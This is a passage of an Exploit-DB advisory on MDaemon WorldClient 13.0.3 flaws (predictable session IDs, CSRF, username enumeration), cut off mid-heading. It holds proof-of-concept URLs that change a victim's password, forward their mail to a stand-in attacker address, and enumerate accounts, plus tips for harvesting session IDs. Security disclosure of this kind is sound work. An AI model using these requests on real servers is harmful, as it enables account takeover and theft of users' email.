Exploit-DB #24535
Description: Alt-N MDaemon WorldClient 13.0.3 - Multiple Vulnerabilities
Type: webapps
Platform: windows
Date: 2013-02-21
Author: QSecure & Demetris Papapetrou

Exploit:
======================================================================
   Alt-N MDaemon's WorldClient Predictable Session ID Vulnerability
======================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Session ID Prediction
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Predictable_Session_ID.html
Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is the web interface of the MDaemon email server. It
has been identified that application session state is not maintained
by the user's session cookie but by the URL "Session" parameter
instead. This parameter is transmitted with every user request sent to
the WorldClient web application and under certain circumstances future
session IDs can be successfully predicted.

The use of predictable session IDs for authentication makes
WorldClient prone to session hijacking attacks. If the attacker can
generate a current valid session ID then he/she may be able to access
webmail accounts without possessing a valid username/password. The
impact of the attack is significantly reduced because WorldClient
associates the client's IP address with each session ID produced.
However, certain network setups or other scenarios may exist that
could render the IP restriction ineffective.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

Pre-Requisites:
---------------
1) The attacker needs to get a current or expired session ID.
       a) Google Search: "WorldClient.dll?Session="
       b) Steal an HTTP request and observe the Referer field
2) The MDaemon service or the machine has not been restarted since the
captured session ID was generated (There may be a way to deal with
this but further research is needed).

=====================================================================================
   Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery
Vulnerability
=====================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Cross-Site Request Forgery
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html
Discovered: 25/07/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient and WebAdmin applications are prone to a cross-site
request-forgery vulnerability. It should be noted that partial
protection is provided by the Session parameter, but this alone cannot
be considered as an adequate protection mechanism.

An attacker can exploit this issue to perform different actions on the
affected application without the user's consent. For example, the
attacker can change the user's password, forward a copy of the user's
emails to a different email account, retrieve his/her address book,
send email messages to other users/email addresses and/or perform
other similar tasks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
Change Password:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&[CREDENTIAL_REDACTED]=Letme1n

Enable Forwarding:
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.com

====================================================================
   Alt-N MDaemon's WorldClient Username Enumeration Vulnerability
====================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Username Enumeration
Remote: Yes
Local: No
Discovered by: QSecure and Demetris Papapetrou
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_Username_Enumeration.html
Discovered: 14/09/2012
Reported: 19/12/2012
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)
Disclosed: 18/02/2013

VULNERABILITY DESCRIPTION:
==========================
Alt-N WorldClient is prone to a username-enumeration weakness by
querying the user's Free-Busy schedule. The DTSTART and DTEND
parameters in the returned FBData.vfb file, may indicate whether an
email address/username is valid or not.

Attackers may exploit this weakness to discern valid usernames. This
may aid them in brute-force password cracking or other attacks.

Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;
other versions may also be affected.

PoC Exploit:
============
http://www.example.com:3000/WorldClient.dll?View=fbinfo&User=mickey.mouse@qsecure.com.cy

For valid email accounts the DTSTART and DTEND values in the .vfb file
start with a recent date backwards (e.g. 20120505) whereas for invalid
ones the date is 19801231.

==========================================================================================
   Alt-N MDaemon's WorldClient Disclosure of Authentication
Credentials Vulnerability
==========================================================================================

Software:  Alt-N MDaemon v13.0.3 and prior versions
Vendor: http://www.altn.com/
Vuln Type: Disclosure of Authentication Cre